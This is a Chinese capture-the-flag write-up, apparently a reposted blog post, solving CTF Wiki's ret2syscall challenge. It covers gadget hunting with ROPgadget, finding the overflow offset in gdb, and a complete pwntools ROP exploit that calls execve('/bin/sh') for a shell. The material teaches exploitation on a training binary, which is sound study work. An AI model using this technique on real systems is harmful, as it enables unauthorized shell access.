pwn基础ROP-碎片组合

题源:基本 ROP - CTF Wiki (ctf-wiki.org) 的ret2syscall

①:老套路,先检查。 

没有RXW可执行段。而且NX保护打开了。

 ②:拉到IDA反汇编。

没有system,也没有可直接利用的后门函数,但是有bin/sh。什么也没有。而且段都是不可执行段,也不能直接写入整个shellcode段。

但是还有gets函数,天无绝人之路,又是栈溢出的类型。看来得自己拿碎片构造rop了(得存在所有的碎片才行)。

(这个过程起始就类似于堆积木:积木碎片在房子的各个角落,我们得找到所有的积木碎片,放在这里就是在整个程序中找到可以组合成调用execve('/bin/sh")函数的碎片。)

 这个原理ctfwiki是讲的最清楚明白的,可以自己去看。就在这块 。

 ROP的关键(以32位程序为例):

1.在计算机的底层,系统调用execve函数的专属调用号是:0xb

2.在调用execve函数的时候,有几个寄存器的值必须准备好。

3.找到相应寄存器并为其准备好值。

下面这张图讲的很清楚: 32位程序下的execve就等效于这一堆汇编指令。

 

思路总结:
    现在就很明显了:我们得给eax,ebx,ecx,edx赋响应的值,而要赋的值正好可以通过程序的gets函数写入栈。
那还有一个问题要解决,我们怎么将栈上的值弹出到四个寄存器中呢?然后还能每弹一个值之后可以继续弹下一值呢?
    这就需要我们找到挨着的指令:pop 寄存器名  ret
然后将存储这些对应指令的地址通过栈溢出写到栈上,然后想办法存入ebp里面即可,

③:下一步就是去寻找各个gadgets的地址。引入新工具:ROPgadget。

使用指令:

ROPgadget --binary rop --only 'pop|ret'  |grep eax

解析:这句话就是在rop二进制文件中找存在pop|ret指令的所有地址。后面的|grep是linux自带的筛选工具,意思是把含eax的指令筛选出来。

显而易见0x080bb196位置的指令很符合要求。

接下来再以同样的方式找到pop|ret到ebx,ecx,edx的地址。

ROPgadget --binary rop --only 'pop|ret'  |grep ebx
ROPgadget --binary rop --only 'pop|ret'  |grep ecx
ROPgadget --binary rop --only 'pop|ret'  |grep edx
ROPgadget --binary rop  --only 'int'   #找到中断的int指令   

  

当然有个小tips:有的程序中多个寄存器的pop指令在一起,这样就很省事,就不用一个一个找了。例如这道题就很省事,pop ebx,pop ecx,pop edx的指令在一块。

④:计算栈溢出的地址并编写exp

打开gdb动态调试。(这部分计算偏移地址可以参考这篇文章,基本一样:写文章-CSDN博客

栈的视图如下,根据红框中的地址计算偏移。 

 偏移结果:

>> 0x208-0x19c
108

>>> 108+4  (+4是因为32位程序下我们想要覆盖把ebp就得+4)
112

编写exp:

from pwn import *

io = remote(ip, port)

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh_addr = 0x80be408

int_0x80_addr = 0x08049421

# 注意传入寄存器的几个参数的位置。
payload = b'A' * (108 + 4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(
    bin_sh_addr) + p32(int_0x80_addr)

io.sendline(payload)  #这也有一个注意点:看总结中的第三点
io.recvline()

⑤:总结。

1.找的gadget必须是完整的先pop 再ret指令,不然pop完怎么继续pop下一个寄存器。

2.注意构造payload的时候几个寄存器参数的先后顺序,因为先pop edx,再pop ecx,最后pop ebx,所以两个0在bin/sh的前面,如果pop的先后顺序发生变化,那么参数的传入顺序也要变化。灵活一点。

3.何时用send,何时用sendline,这俩有什么区别呢?

sendline会在我们发送的payload自动加上一个换行符。针对不同的函数可能有不同的效果。
对应gets函数,遇到换行符他就停止读取了,而reads函数即使碰到换行符他也会乖乖的读入,相当于构造的payload多了一个换行符,这一细节区别很重要。

这有道同类型但稍微复杂一点的题:(二进制文件不知道怎么没法上传到百度网盘,等以后想起来再上传吧)

(2条消息) [BUUCTF]PWN6——ciscn_2019_c_1_mcmuyanga的博客-CSDN博客

猜你喜欢

转载自blog.csdn.net/hacker_zrq/article/details/120598245
今日推荐